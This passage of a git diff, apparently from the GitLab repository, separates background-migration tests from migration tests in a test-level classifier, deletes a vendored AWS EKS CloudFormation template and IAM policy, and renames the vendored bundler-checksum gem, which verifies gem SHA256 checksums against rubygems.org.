+ [foss_prefix, *extension_prefixes]
+ end
+
+ # Note: We only search for partials with depth 1. We don't do recursive search, as
+ # it is probably not necessary for a first iteration.
+ def find_partials(file)
+ partial_paths = find_pattern_in_file(file, RAILS_PARTIAL_INVOCATION_REGEXP)
+ partial_paths.flat_map do |partial_path|
+ view_file_folder = File.dirname(file)
+ partial_relative_folder = File.dirname(partial_path)
+
+ dirname =
+ if partial_relative_folder == '.' # The partial is in the same folder as the HTML file
+ view_file_folder
+ else
+ File.join(view_file_folder, partial_relative_folder)
+ end
+
+ Dir["#{dirname}/_#{File.basename(partial_path)}.*"]
+ end
+ end
+
+ def find_pattern_in_file(file, pattern)
+ File.read(file).scan(pattern).flatten.uniq
+ end
+ end
+end
diff --git a/tooling/quality/test_level.rb b/tooling/quality/test_level.rb
index 29da7dddd03..31196290de4 100644
--- a/tooling/quality/test_level.rb
+++ b/tooling/quality/test_level.rb
@@ -83,9 +83,12 @@ module Quality
def level_for(file_path)
case file_path
- # Detect migration first since some background migration tests are under
- # spec/lib/gitlab/background_migration and tests under spec/lib are unit by default
- when regexp(:migration), regexp(:background_migration)
+ # Detect background migration first since some are under
+ # spec/lib/gitlab/background_migration
+ # and tests under spec/lib are unit by default
+ when regexp(:background_migration)
+ :background_migration
+ when regexp(:migration)
:migration
# Detect frontend fixture before matching other unit tests
when regexp(:frontend_fixture)
@@ -101,10 +104,6 @@ module Quality
end
end
- def background_migration?(file_path)
- !!(file_path =~ regexp(:background_migration))
- end
-
private
def prefixes_for_pattern
@@ -130,14 +129,8 @@ module Quality
end
end
- def migration_and_background_migration_folders
- TEST_LEVEL_FOLDERS.fetch(:migration) + TEST_LEVEL_FOLDERS.fetch(:background_migration)
- end
-
def folders_pattern(level)
case level
- when :migration
- "{#{migration_and_background_migration_folders.join(',')}}"
when :all
'**'
else
@@ -147,8 +140,6 @@ module Quality
def folders_regex(level)
case level
- when :migration
- "(#{migration_and_background_migration_folders.join('|')})/"
when :all
''
else
diff --git a/vendor/aws/cloudformation/eks_cluster.yaml b/vendor/aws/cloudformation/eks_cluster.yaml
deleted file mode 100644
index 8d93734fd46..00000000000
--- a/vendor/aws/cloudformation/eks_cluster.yaml
+++ /dev/null
@@ -1,342 +0,0 @@
----
-AWSTemplateFormatVersion: "2010-09-09"
-Description: GitLab EKS Cluster
-
-Parameters:
-
- KubernetesVersion:
- Description: The Kubernetes version to install
- Type: String
- Default: "1.20"
- AllowedValues:
- - "1.16"
- - "1.17"
- - "1.18"
- - "1.19"
- - "1.20"
-
- KeyName:
- Description: The EC2 Key Pair to allow SSH access to the node instances
- Type: AWS::EC2::KeyPair::KeyName
-
- NodeImageIdSSMParam:
- Type: "AWS::SSM::Parameter::Value<AWS::EC2::Image::Id>"
- Default: /aws/service/eks/optimized-ami/1.17/amazon-linux-2/recommended/image_id
- Description: AWS Systems Manager Parameter Store parameter of the AMI ID for the worker node instances.
-
- NodeInstanceType:
- Description: EC2 instance type for the node instances
- Type: String
- Default: t3.medium
- ConstraintDescription: Must be a valid EC2 instance type
- AllowedValues:
- - t2.small
- - t2.medium
- - t2.large
- - t2.xlarge
- - t2.2xlarge
- - t3.nano
- - t3.micro
- - t3.small
- - t3.medium
- - t3.large
- - t3.xlarge
- - t3.2xlarge
- - m3.medium
- - m3.large
- - m3.xlarge
- - m3.2xlarge
- - m4.large
- - m4.xlarge
- - m4.2xlarge
- - m4.4xlarge
- - m4.10xlarge
- - m5.large
- - m5.xlarge
- - m5.2xlarge
- - m5.4xlarge
- - m5.12xlarge
- - m5.24xlarge
- - c4.large
- - c4.xlarge
- - c4.2xlarge
- - c4.4xlarge
- - c4.8xlarge
- - c5.large
- - c5.xlarge
- - c5.2xlarge
- - c5.4xlarge
- - c5.9xlarge
- - c5.18xlarge
- - i3.large
- - i3.xlarge
- - i3.2xlarge
- - i3.4xlarge
- - i3.8xlarge
- - i3.16xlarge
- - r3.xlarge
- - r3.2xlarge
- - r3.4xlarge
- - r3.8xlarge
- - r4.large
- - r4.xlarge
- - r4.2xlarge
- - r4.4xlarge
- - r4.8xlarge
- - r4.16xlarge
- - x1.16xlarge
- - x1.32xlarge
- - p2.xlarge
- - p2.8xlarge
- - p2.16xlarge
- - p3.2xlarge
- - p3.8xlarge
- - p3.16xlarge
- - p3dn.24xlarge
- - r5.large
- - r5.xlarge
- - r5.2xlarge
- - r5.4xlarge
- - r5.12xlarge
- - r5.24xlarge
- - r5d.large
- - r5d.xlarge
- - r5d.2xlarge
- - r5d.4xlarge
- - r5d.12xlarge
- - r5d.24xlarge
- - z1d.large
- - z1d.xlarge
- - z1d.2xlarge
- - z1d.3xlarge
- - z1d.6xlarge
- - z1d.12xlarge
-
- NodeAutoScalingGroupDesiredCapacity:
- Description: Desired capacity of Node Group ASG.
- Type: Number
- Default: 3
-
- NodeVolumeSize:
- Description: Node volume size
- Type: Number
- Default: 20
-
- ClusterName:
- Description: Unique name for your Amazon EKS cluster.
- Type: String
-
- ClusterRole:
- Description: The IAM Role to allow Amazon EKS and the Kubernetes control plane to manage AWS resources on your behalf.
- Type: String
-
- ClusterControlPlaneSecurityGroup:
- Description: The security groups to apply to the EKS-managed Elastic Network Interfaces that are created in your worker node subnets.
- Type: AWS::EC2::SecurityGroup::Id
-
- VpcId:
- Description: The VPC to use for your EKS Cluster resources.
- Type: AWS::EC2::VPC::Id
-
- Subnets:
- Description: The subnets in your VPC where your worker nodes will run.
- Type: List<AWS::EC2::Subnet::Id>
-
-Metadata:
-
- AWS::CloudFormation::Interface:
- ParameterGroups:
- - Label:
- default: EKS Cluster
- Parameters:
- - ClusterName
- - ClusterRole
- - KubernetesVersion
- - ClusterControlPlaneSecurityGroup
- - Label:
- default: Worker Node Configuration
- Parameters:
- - NodeAutoScalingGroupDesiredCapacity
- - NodeInstanceType
- - NodeImageIdSSMParam
- - NodeVolumeSize
- - KeyName
- - Label:
- default: Worker Network Configuration
- Parameters:
- - VpcId
- - Subnets
-
-Resources:
-
- Cluster:
- Type: AWS::EKS::Cluster
- Properties:
- Name: !Sub ${ClusterName}
- Version: !Sub ${KubernetesVersion}
- RoleArn: !Sub ${ClusterRole}
- ResourcesVpcConfig:
- SecurityGroupIds:
- - !Ref ClusterControlPlaneSecurityGroup
- SubnetIds: !Ref Subnets
-
- NodeInstanceProfile:
- Type: AWS::IAM::InstanceProfile
- Properties:
- Path: "/"
- Roles:
- - !Ref NodeInstanceRole
-
- NodeInstanceRole:
- Type: AWS::IAM::Role
- Properties:
- AssumeRolePolicyDocument:
- Version: "2012-10-17"
- Statement:
- - Effect: Allow
- Principal:
- Service: ec2.amazonaws.com
- Action: sts:AssumeRole
- Path: "/"
- ManagedPolicyArns:
- - arn:aws:iam::aws:policy/AmazonEKSWorkerNodePolicy
- - arn:aws:iam::aws:policy/AmazonEKS_CNI_Policy
- - arn:aws:iam::aws:policy/AmazonEC2ContainerRegistryReadOnly
-
- NodeSecurityGroup:
- Type: AWS::EC2::SecurityGroup
- Properties:
- GroupDescription: Security group for all nodes in the cluster
- VpcId: !Ref VpcId
- Tags:
- - Key: !Sub kubernetes.io/cluster/${ClusterName}
- Value: owned
-
- NodeSecurityGroupIngress:
- Type: AWS::EC2::SecurityGroupIngress
- DependsOn: NodeSecurityGroup
- Properties:
- Description: Allow nodes to communicate with each other
- GroupId: !Ref NodeSecurityGroup
- SourceSecurityGroupId: !Ref NodeSecurityGroup
- IpProtocol: -1
- FromPort: 0
- ToPort: 65535
-
- NodeSecurityGroupFromControlPlaneIngress:
- Type: AWS::EC2::SecurityGroupIngress
- DependsOn: NodeSecurityGroup
- Properties:
- Description: Allow worker Kubelets and pods to receive communication from the cluster control plane
- GroupId: !Ref NodeSecurityGroup
- SourceSecurityGroupId: !Ref ClusterControlPlaneSecurityGroup
- IpProtocol: tcp
- FromPort: 1025
- ToPort: 65535
-
- ControlPlaneEgressToNodeSecurityGroup:
- Type: AWS::EC2::SecurityGroupEgress
- DependsOn: NodeSecurityGroup
- Properties:
- Description: Allow the cluster control plane to communicate with worker Kubelet and pods
- GroupId: !Ref ClusterControlPlaneSecurityGroup
- DestinationSecurityGroupId: !Ref NodeSecurityGroup
- IpProtocol: tcp
- FromPort: 1025
- ToPort: 65535
-
- NodeSecurityGroupFromControlPlaneOn443Ingress:
- Type: AWS::EC2::SecurityGroupIngress
- DependsOn: NodeSecurityGroup
- Properties:
- Description: Allow pods running extension API servers on port 443 to receive communication from cluster control plane
- GroupId: !Ref NodeSecurityGroup
- SourceSecurityGroupId: !Ref ClusterControlPlaneSecurityGroup
- IpProtocol: tcp
- FromPort: 443
- ToPort: 443
-
- ControlPlaneEgressToNodeSecurityGroupOn443:
- Type: AWS::EC2::SecurityGroupEgress
- DependsOn: NodeSecurityGroup
- Properties:
- Description: Allow the cluster control plane to communicate with pods running extension API servers on port 443
- GroupId: !Ref ClusterControlPlaneSecurityGroup
- DestinationSecurityGroupId: !Ref NodeSecurityGroup
- IpProtocol: tcp
- FromPort: 443
- ToPort: 443
-
- ClusterControlPlaneSecurityGroupIngress:
- Type: AWS::EC2::SecurityGroupIngress
- DependsOn: NodeSecurityGroup
- Properties:
- Description: Allow pods to communicate with the cluster API Server
- GroupId: !Ref ClusterControlPlaneSecurityGroup
- SourceSecurityGroupId: !Ref NodeSecurityGroup
- IpProtocol: tcp
- ToPort: 443
- FromPort: 443
-
- NodeGroup:
- Type: AWS::AutoScaling::AutoScalingGroup
- DependsOn: Cluster
- Properties:
- DesiredCapacity: !Ref NodeAutoScalingGroupDesiredCapacity
- LaunchConfigurationName: !Ref NodeLaunchConfig
- MinSize: !Ref NodeAutoScalingGroupDesiredCapacity
- MaxSize: !Ref NodeAutoScalingGroupDesiredCapacity
- VPCZoneIdentifier: !Ref Subnets
- Tags:
- - Key: Name
- Value: !Sub ${ClusterName}-node
- PropagateAtLaunch: true
- - Key: !Sub kubernetes.io/cluster/${ClusterName}
- Value: owned
- PropagateAtLaunch: true
- UpdatePolicy:
- AutoScalingRollingUpdate:
- MaxBatchSize: 1
- MinInstancesInService: !Ref NodeAutoScalingGroupDesiredCapacity
- PauseTime: PT5M
-
- NodeLaunchConfig:
- Type: AWS::AutoScaling::LaunchConfiguration
- Properties:
- AssociatePublicIpAddress: true
- IamInstanceProfile: !Ref NodeInstanceProfile
- ImageId: !Ref NodeImageIdSSMParam
- InstanceType: !Ref NodeInstanceType
- KeyName: !Ref KeyName
- SecurityGroups:
- - !Ref NodeSecurityGroup
- BlockDeviceMappings:
- - DeviceName: /dev/xvda
- Ebs:
- VolumeSize: !Ref NodeVolumeSize
- VolumeType: gp2
- DeleteOnTermination: true
- UserData:
- Fn::Base64:
- !Sub |
- #!/bin/bash
- set -o xtrace
- /etc/eks/bootstrap.sh "${ClusterName}"
- /opt/aws/bin/cfn-signal --exit-code $? \
- --stack ${AWS::StackName} \
- --resource NodeGroup \
- --region ${AWS::Region}
-
-Outputs:
-
- NodeInstanceRole:
- Description: The node instance role
- Value: !GetAtt NodeInstanceRole.Arn
-
- ClusterCertificate:
- Description: The cluster certificate
- Value: !GetAtt Cluster.CertificateAuthorityData
-
- ClusterEndpoint:
- Description: The cluster endpoint
- Value: !GetAtt Cluster.Endpoint
diff --git a/vendor/aws/iam/eks_cluster_read_only_policy.json b/vendor/aws/iam/eks_cluster_read_only_policy.json
deleted file mode 100644
index 425b9a3eff9..00000000000
--- a/vendor/aws/iam/eks_cluster_read_only_policy.json
+++ /dev/null
@@ -1,17 +0,0 @@
-{
- "Version": "2012-10-17",
- "Statement": [
- {
- "Effect": "Allow",
- "Action": [
- "iam:ListRoles",
- "ec2:DescribeKeyPairs",
- "ec2:DescribeRegions",
- "ec2:DescribeSecurityGroups",
- "ec2:DescribeSubnets",
- "ec2:DescribeVpcs"
- ],
- "Resource": "*"
- }
- ]
-}
diff --git a/vendor/gems/bundler-checksum/README.md b/vendor/gems/bundler-checksum/README.md
index 1420dc49b94..675c3ad2ee8 100644
--- a/vendor/gems/bundler-checksum/README.md
+++ b/vendor/gems/bundler-checksum/README.md
@@ -9,7 +9,7 @@ Add the following to your Gemfile:
```
if ENV['BUNDLER_CHECKSUM_VERIFICATION_OPT_IN'] # this verification is still experimental
require 'bundler-checksum'
- Bundler::Checksum.patch!
+ BundlerChecksum.patch!
end
```
diff --git a/vendor/gems/bundler-checksum/bin/bundler-checksum b/vendor/gems/bundler-checksum/bin/bundler-checksum
index 2d0aea827bc..0ef2748a518 100755
--- a/vendor/gems/bundler-checksum/bin/bundler-checksum
+++ b/vendor/gems/bundler-checksum/bin/bundler-checksum
@@ -1,6 +1,6 @@
#!/usr/bin/env ruby
require 'bundler-checksum'
-require 'bundler/checksum/command'
+require 'bundler_checksum/command'
-Bundler::Checksum::Command.execute(ARGV)
+BundlerChecksum::Command.execute(ARGV)
diff --git a/vendor/gems/bundler-checksum/bundler-checksum.gemspec b/vendor/gems/bundler-checksum/bundler-checksum.gemspec
index c04312480b6..b9667570549 100644
--- a/vendor/gems/bundler-checksum/bundler-checksum.gemspec
+++ b/vendor/gems/bundler-checksum/bundler-checksum.gemspec
@@ -1,10 +1,10 @@
# frozen_string_literal: true
-require_relative 'lib/bundler/checksum/version'
+require_relative 'lib/bundler_checksum/version'
Gem::Specification.new do |spec|
spec.name = 'bundler-checksum'
- spec.version = Bundler::Checksum::VERSION
+ spec.version = BundlerChecksum::VERSION
spec.authors = ['dustinmm80']
spec.email = ['dcollins@gitlab.com']
diff --git a/vendor/gems/bundler-checksum/lib/bundler-checksum.rb b/vendor/gems/bundler-checksum/lib/bundler-checksum.rb
index 600cd4f7107..c2abf1b41d6 100644
--- a/vendor/gems/bundler-checksum/lib/bundler-checksum.rb
+++ b/vendor/gems/bundler-checksum/lib/bundler-checksum.rb
@@ -1 +1 @@
-require 'bundler/checksum'
+require 'bundler_checksum'
diff --git a/vendor/gems/bundler-checksum/lib/bundler/checksum.rb b/vendor/gems/bundler-checksum/lib/bundler/checksum.rb
deleted file mode 100644
index 40c42644964..00000000000
--- a/vendor/gems/bundler-checksum/lib/bundler/checksum.rb
+++ /dev/null
@@ -1,110 +0,0 @@
-# frozen_string_literal: true
-
-require 'bundler'
-require 'bundler/checksum/version'
-require 'json'
-
-module Bundler
- module Patches
- # This module monkey-patches Bundler to check Gemfile.checksum
- # when installing gems that are from RubyGems
- module RubyGemsInstallerPatch
- def pre_install_checks
- super && validate_local_package_checksum
- end
-
- private
-
- def validate_local_package_checksum
- cached_checksum = fetch_checksum_from_file(spec)
-
- if cached_checksum.nil?
- raise SecurityError, "Cached checksum for #{spec.full_name} not found. Please (re-)generate Gemfile.checksum with " \
- "`bundle exec bundler-checksum init`. See https://docs.gitlab.com/ee/development/gemfile.html#updating-the-checksum-file."
- end
-
- validate_file_checksum(cached_checksum)
- end
-
- def fetch_checksum_from_file(spec)
- ::Bundler::Checksum.checksum_for(spec.name, spec.version.to_s, spec.platform.to_s)
- end
-
- # Modified from
- # https://github.com/rubygems/rubygems/blob/243173279e79a38f03e318eea8825d1c8824e119/bundler/lib/bundler/rubygems_gem_installer.rb#L116
- def validate_file_checksum(checksum)
- return true if Bundler.settings[:disable_checksum_validation]
-
- source = @package.instance_variable_get(:@gem)
-
- # Contary to upstream, we raise instead of silently returning
- raise "#{@package.inspect} does not have :@gem" unless source
- raise "#{source.inspect} does not respond to :with_read_io" unless source.respond_to?(:with_read_io)
-
- digest = source.with_read_io do |io|
- digest = SharedHelpers.digest(:SHA256).new
- digest << io.read(16_384) until io.eof?
- io.rewind
- send(checksum_type(checksum), digest)
- end
- unless digest == checksum
- raise SecurityError, <<-MESSAGE
- Bundler cannot continue installing #{spec.name} (#{spec.version}).
- The checksum for the downloaded `#{spec.full_name}.gem` does not match \
- the checksum from the checksum file. This means the contents of the downloaded \
- gem is different from what was recorded in the checksum file, and could be potential security issue.
- gem is different from what was uploaded to the server, and could be a potential security issue.
-
- To resolve this issue:
- 1. delete the downloaded gem located at: `#{spec.gem_dir}/#{spec.full_name}.gem`
- 2. run `bundle install`
-
- If you wish to continue installing the downloaded gem, and are certain it does not pose a \
- security issue despite the mismatching checksum, do the following:
- 1. run `bundle config set --local disable_checksum_validation true` to turn off checksum verification
- 2. run `bundle install`
-
- (More info: The expected SHA256 checksum was #{checksum.inspect}, but the \
- checksum for the downloaded gem was #{digest.inspect}.)
- MESSAGE
- end
- true
- end
- end
- end
-end
-
-module Bundler
- module Checksum
- class << self
- def checksum_file
- @checksum_file ||= File.join(File.dirname(Bundler.default_gemfile), 'Gemfile.checksum')
- end
-
- def checksums_from_file
- @checksums_from_file ||= JSON.parse(File.open(checksum_file).read, symbolize_names: true)
- rescue JSON::ParserError => e
- raise "Invalid checksum file: #{e.message}"
- end
-
- def checksum_for(gem_name, gem_version, gem_platform)
- item = checksums_from_file.detect do |item|
- item[:name] == gem_name &&
- item[:platform] == gem_platform &&
- item[:version] == gem_version
- end
-
- item&.fetch(:checksum)
- end
-
- def patch!
- return if defined?(@patched) && @patched
- @patched = true
-
- Bundler.ui.info "Patching bundler with bundler-checksum..."
- require 'bundler/rubygems_gem_installer'
- ::Bundler::RubyGemsGemInstaller.prepend(Bundler::Patches::RubyGemsInstallerPatch)
- end
- end
- end
-end
diff --git a/vendor/gems/bundler-checksum/lib/bundler/checksum/command.rb b/vendor/gems/bundler-checksum/lib/bundler/checksum/command.rb
deleted file mode 100644
index 438f41f6e69..00000000000
--- a/vendor/gems/bundler-checksum/lib/bundler/checksum/command.rb
+++ /dev/null
@@ -1,27 +0,0 @@
-# frozen_string_literal: true
-
-module Bundler::Checksum
- module Command
- autoload :Init, File.expand_path("command/init", __dir__)
- autoload :Verify, File.expand_path("command/verify", __dir__)
- autoload :Helper, File.expand_path("command/helper", __dir__)
-
- def self.execute(args)
- if args.empty?
- $stderr.puts 'A command must be given [init,update,verify]'
- end
-
- if args.first == 'init'
- Init.execute
- elsif args.first == 'update'
- $stderr.puts 'Not implemented, please use init'
- elsif args.first == 'verify'
- verified = Verify.execute
-
- unless verified
- exit 1
- end
- end
- end
- end
-end
diff --git a/vendor/gems/bundler-checksum/lib/bundler/checksum/command/helper.rb b/vendor/gems/bundler-checksum/lib/bundler/checksum/command/helper.rb
deleted file mode 100644
index fa06bfe3da4..00000000000
--- a/vendor/gems/bundler-checksum/lib/bundler/checksum/command/helper.rb
+++ /dev/null
@@ -1,28 +0,0 @@
-# frozen_string_literal: true
-
-require 'json'
-require 'net/http'
-
-module Bundler::Checksum::Command
- module Helper
- extend self
-
- def remote_checksums_for_gem(gem_name, gem_version)
- response = Net::HTTP.get_response(URI(
- "https://rubygems.org/api/v1/versions/#{gem_name}.json"
- ))
-
- return [] unless response.code == '200'
-
- gem_candidates = JSON.parse(response.body, symbolize_names: true)
- gem_candidates.select! { |g| g[:number] == gem_version.to_s }
-
- gem_candidates.map {
- |g| {:name => gem_name, :version => gem_version, :platform => g[:platform], :checksum => g[:sha]}
- }
-
- rescue JSON::ParserError
- []
- end
- end
-end
diff --git a/vendor/gems/bundler-checksum/lib/bundler/checksum/command/init.rb b/vendor/gems/bundler-checksum/lib/bundler/checksum/command/init.rb
deleted file mode 100644
index 47a9b676f1d..00000000000
--- a/vendor/gems/bundler-checksum/lib/bundler/checksum/command/init.rb
+++ /dev/null
@@ -1,83 +0,0 @@
-# frozen_string_literal: true
-
-require 'openssl'
-
-module Bundler::Checksum::Command
- module Init
- extend self
-
- def execute
- $stderr.puts "Initializing checksum file #{checksum_file}"
-
- checksums = []
-
- compact_index_cache = Bundler::Fetcher::CompactIndex
- .new(nil, Bundler::Source::Rubygems::Remote.new(Bundler::URI("https://rubygems.org")), nil)
- .send(:compact_index_client)
- .instance_variable_get(:@cache)
-
- Bundler.definition.resolve.sort_by(&:name).each do |spec|
- next unless spec.source.is_a?(Bundler::Source::Rubygems)
- spec_identifier = "#{spec.name}==#{spec.version}"
-
- previous_checksum = previous_checksums.select do |checksum|
- checksum[:name] == spec.name && checksum[:version] == spec.version.to_s
- end
-
- if !previous_checksum.empty?
- $stderr.puts "Using #{spec_identifier}"
- checksums += previous_checksum
-
- next
- end
-
- $stderr.puts "Adding #{spec_identifier}"
-
- compact_index_dependencies = compact_index_cache.dependencies(spec.name).select { |item| item.first == spec.version.to_s }
-
- if !compact_index_dependencies.empty?
- compact_index_checksums = compact_index_dependencies.map do |version, platform, dependencies, requirements|
- {
- name: spec.name,
- version: spec.version.to_s,
- platform: Gem::Platform.new(platform).to_s,
- checksum: requirements.detect { |requirement| requirement.first == 'checksum' }.flatten[1]
- }
- end
-
- checksums += compact_index_checksums.sort_by { |hash| hash.values }
- else
- remote_checksum = Helper.remote_checksums_for_gem(spec.name, spec.version)
-
- if remote_checksum.empty?
- raise "#{spec.name} #{spec.version} not found on Rubygems!"
- end
-
- checksums += remote_checksum.sort_by { |hash| hash.values }
- end
- end
-
- File.write(checksum_file, JSON.generate(checksums, array_nl: "\n") + "\n")
- end
-
- private
-
- def previous_checksums
- @previous_checksums ||=
- if File.exist?(checksum_file)
- ::Bundler::Checksum.checksums_from_file
- else
- []
- end
- end
-
- def checksum_file
- ::Bundler::Checksum.checksum_file
- end
-
- def lockfile
- lockfile_path = Bundler.default_lockfile
- lockfile = Bundler::LockfileParser.new(Bundler.read_file(lockfile_path))
- end
- end
-end
diff --git a/vendor/gems/bundler-checksum/lib/bundler/checksum/command/verify.rb b/vendor/gems/bundler-checksum/lib/bundler/checksum/command/verify.rb
deleted file mode 100644
index ba2eea6ea0c..00000000000
--- a/vendor/gems/bundler-checksum/lib/bundler/checksum/command/verify.rb
+++ /dev/null
@@ -1,52 +0,0 @@
-# frozen_string_literal: true
-
-module Bundler::Checksum::Command
- module Verify
- extend self
-
- def execute
- $stderr.puts 'Verifying bundle checksums'
-
- verified = true
-
- local_checksums.each do |gem|
- name = gem.fetch(:name)
- version = gem.fetch(:version)
- platform = gem.fetch(:platform)
- checksum = gem.fetch(:checksum)
-
- $stderr.puts "Verifying #{name}==#{version} #{platform}"
- unless validate_gem_checksum(name, version, platform, checksum)
- verified = false
- end
- end
-
- verified
- end
-
- private
-
- def local_checksums
- ::Bundler::Checksum.checksums_from_file
- end
-
- def validate_gem_checksum(gem_name, gem_version, gem_platform, local_checksum)
- remote_checksums = Helper.remote_checksums_for_gem(gem_name, gem_version)
- if remote_checksums.empty?
- $stderr.puts "#{gem_name} #{gem_version} not found on Rubygems, skipping"
- return false
- end
-
- remote_platform_checksum = remote_checksums.find { |g| g[:name] == gem_name && g[:platform] == gem_platform.to_s }
-
- if local_checksum == remote_platform_checksum[:checksum]
- true
- else
- $stderr.puts "Gem #{gem_name} #{gem_version} #{gem_platform} failed checksum verification"
- $stderr.puts "LOCAL: #{local_checksum}"
- $stderr.puts "REMOTE: #{remote_platform_checksum[:checksum]}"
- return false
- end
- end
- end
-end
diff --git a/vendor/gems/bundler-checksum/lib/bundler/checksum/version.rb b/vendor/gems/bundler-checksum/lib/bundler/checksum/version.rb
deleted file mode 100644
index 41e958b2db9..00000000000
--- a/vendor/gems/bundler-checksum/lib/bundler/checksum/version.rb
+++ /dev/null
@@ -1,8 +0,0 @@
-# frozen_string_literal: true
-
-module Bundler
- module Checksum
- # bundler-checksum version
- VERSION = '0.1.0'
- end
-end
diff --git a/vendor/gems/bundler-checksum/lib/bundler_checksum.rb b/vendor/gems/bundler-checksum/lib/bundler_checksum.rb
new file mode 100644
index 00000000000..b3d36521f24
--- /dev/null
+++ b/vendor/gems/bundler-checksum/lib/bundler_checksum.rb
@@ -0,0 +1,108 @@
+# frozen_string_literal: true
+
+require 'bundler'
+require 'bundler_checksum/version'
+require 'json'
+
+module Bundler
+ module Patches
+ # This module monkey-patches Bundler to check Gemfile.checksum
+ # when installing gems that are from RubyGems
+ module RubyGemsInstallerPatch
+ def pre_install_checks
+ super && validate_local_package_checksum
+ end
+
+ private
+
+ def validate_local_package_checksum
+ cached_checksum = fetch_checksum_from_file(spec)
+
+ if cached_checksum.nil?
+ raise SecurityError, "Cached checksum for #{spec.full_name} not found. Please (re-)generate Gemfile.checksum with " \
+ "`bundle exec bundler-checksum init`. See https://docs.gitlab.com/ee/development/gemfile.html#updating-the-checksum-file."
+ end
+
+ validate_file_checksum(cached_checksum)
+ end
+
+ def fetch_checksum_from_file(spec)
+ ::BundlerChecksum.checksum_for(spec.name, spec.version.to_s, spec.platform.to_s)
+ end
+
+ # Modified from
+ # https://github.com/rubygems/rubygems/blob/243173279e79a38f03e318eea8825d1c8824e119/bundler/lib/bundler/rubygems_gem_installer.rb#L116
+ def validate_file_checksum(checksum)
+ return true if Bundler.settings[:disable_checksum_validation]
+
+ source = @package.instance_variable_get(:@gem)
+
+ # Contary to upstream, we raise instead of silently returning
+ raise "#{@package.inspect} does not have :@gem" unless source
+ raise "#{source.inspect} does not respond to :with_read_io" unless source.respond_to?(:with_read_io)
+
+ digest = source.with_read_io do |io|
+ digest = SharedHelpers.digest(:SHA256).new
+ digest << io.read(16_384) until io.eof?
+ io.rewind
+ send(checksum_type(checksum), digest)
+ end
+ unless digest == checksum
+ raise SecurityError, <<-MESSAGE
+ Bundler cannot continue installing #{spec.name} (#{spec.version}).
+ The checksum for the downloaded `#{spec.full_name}.gem` does not match \
+ the checksum from the checksum file. This means the contents of the downloaded \
+ gem is different from what was recorded in the checksum file, and could be potential security issue.
+ gem is different from what was uploaded to the server, and could be a potential security issue.
+
+ To resolve this issue:
+ 1. delete the downloaded gem located at: `#{spec.gem_dir}/#{spec.full_name}.gem`
+ 2. run `bundle install`
+
+ If you wish to continue installing the downloaded gem, and are certain it does not pose a \
+ security issue despite the mismatching checksum, do the following:
+ 1. run `bundle config set --local disable_checksum_validation true` to turn off checksum verification
+ 2. run `bundle install`
+
+ (More info: The expected SHA256 checksum was #{checksum.inspect}, but the \
+ checksum for the downloaded gem was #{digest.inspect}.)
+ MESSAGE
+ end
+ true
+ end
+ end
+ end
+end
+
+module BundlerChecksum
+ class << self
+ def checksum_file
+ @checksum_file ||= File.join(File.dirname(Bundler.default_gemfile), 'Gemfile.checksum')
+ end
+
+ def checksums_from_file
+ @checksums_from_file ||= JSON.parse(File.open(checksum_file).read, symbolize_names: true)
+ rescue JSON::ParserError => e
+ raise "Invalid checksum file: #{e.message}"
+ end
+
+ def checksum_for(gem_name, gem_version, gem_platform)
+ item = checksums_from_file.detect do |item|
+ item[:name] == gem_name &&
+ item[:platform] == gem_platform &&
+ item[:version] == gem_version
+ end
+
+ item&.fetch(:checksum)
+ end
+
+ def patch!
+ return if defined?(@patched) && @patched
+ @patched = true
+
+ Bundler.ui.info "Patching bundler with bundler-checksum..."
+ require 'bundler/rubygems_gem_installer'
+ ::Bundler::RubyGemsGemInstaller.prepend(Bundler::Patches::RubyGemsInstallerPatch)
+ end
+ end
+end
diff --git a/vendor/gems/bundler-checksum/lib/bundler_checksum/command.rb b/vendor/gems/bundler-checksum/lib/bundler_checksum/command.rb
new file mode 100644
index 00000000000..c6c71431538
--- /dev/null
+++ b/vendor/gems/bundler-checksum/lib/bundler_checksum/command.rb
@@ -0,0 +1,27 @@
+# frozen_string_literal: true
+
+module BundlerChecksum
+ module Command
+ autoload :Init, File.expand_path("command/init", __dir__)
+ autoload :Verify, File.expand_path("command/verify", __dir__)
+ autoload :Helper, File.expand_path("command/helper", __dir__)
+
+ def self.execute(args)
+ if args.empty?
+ $stderr.puts 'A command must be given [init,update,verify]'
+ end
+
+ if args.first == 'init'
+ Init.execute
+ elsif args.first == 'update'
+ $stderr.puts 'Not implemented, please use init'
+ elsif args.first == 'verify'
+ verified = Verify.execute
+
+ unless verified
+ exit 1
+ end
+ end
+ end
+ end
+end
diff --git a/vendor/gems/bundler-checksum/lib/bundler_checksum/command/helper.rb b/vendor/gems/bundler-checksum/lib/bundler_checksum/command/helper.rb
new file mode 100644
index 00000000000..515f5926106
--- /dev/null
+++ b/vendor/gems/bundler-checksum/lib/bundler_checksum/command/helper.rb
@@ -0,0 +1,28 @@
+# frozen_string_literal: true
+
+require 'json'
+require 'net/http'
+
+module BundlerChecksum::Command
+ module Helper
+ extend self
+
+ def remote_checksums_for_gem(gem_name, gem_version)
+ response = Net::HTTP.get_response(URI(
+ "https://rubygems.org/api/v1/versions/#{gem_name}.json"
+ ))
+
+ return [] unless response.code == '200'
+
+ gem_candidates = JSON.parse(response.body, symbolize_names: true)
+ gem_candidates.select! { |g| g[:number] == gem_version.to_s }
+
+ gem_candidates.map {
+ |g| {:name => gem_name, :version => gem_version, :platform => g[:platform], :checksum => g[:sha]}
+ }
+
+ rescue JSON::ParserError
+ []
+ end
+ end
+end
diff --git a/vendor/gems/bundler-checksum/lib/bundler_checksum/command/init.rb b/vendor/gems/bundler-checksum/lib/bundler_checksum/command/init.rb
new file mode 100644
index 00000000000..1d8db7d78fa
--- /dev/null
+++ b/vendor/gems/bundler-checksum/lib/bundler_checksum/command/init.rb
@@ -0,0 +1,83 @@
+# frozen_string_literal: true
+
+require 'openssl'
+
+module BundlerChecksum::Command
+ module Init
+ extend self
+
+ def execute
+ $stderr.puts "Initializing checksum file #{checksum_file}"
+
+ checksums = []
+
+ compact_index_cache = Bundler::Fetcher::CompactIndex
+ .new(nil, Bundler::Source::Rubygems::Remote.new(Bundler::URI("https://rubygems.org")), nil)
+ .send(:compact_index_client)
+ .instance_variable_get(:@cache)
+
+ Bundler.definition.resolve.sort_by(&:name).each do |spec|
+ next unless spec.source.is_a?(Bundler::Source::Rubygems)
+ spec_identifier = "#{spec.name}==#{spec.version}"
+
+ previous_checksum = previous_checksums.select do |checksum|
+ checksum[:name] == spec.name && checksum[:version] == spec.version.to_s
+ end
+
+ if !previous_checksum.empty?
+ $stderr.puts "Using #{spec_identifier}"
+ checksums += previous_checksum
+
+ next
+ end
+
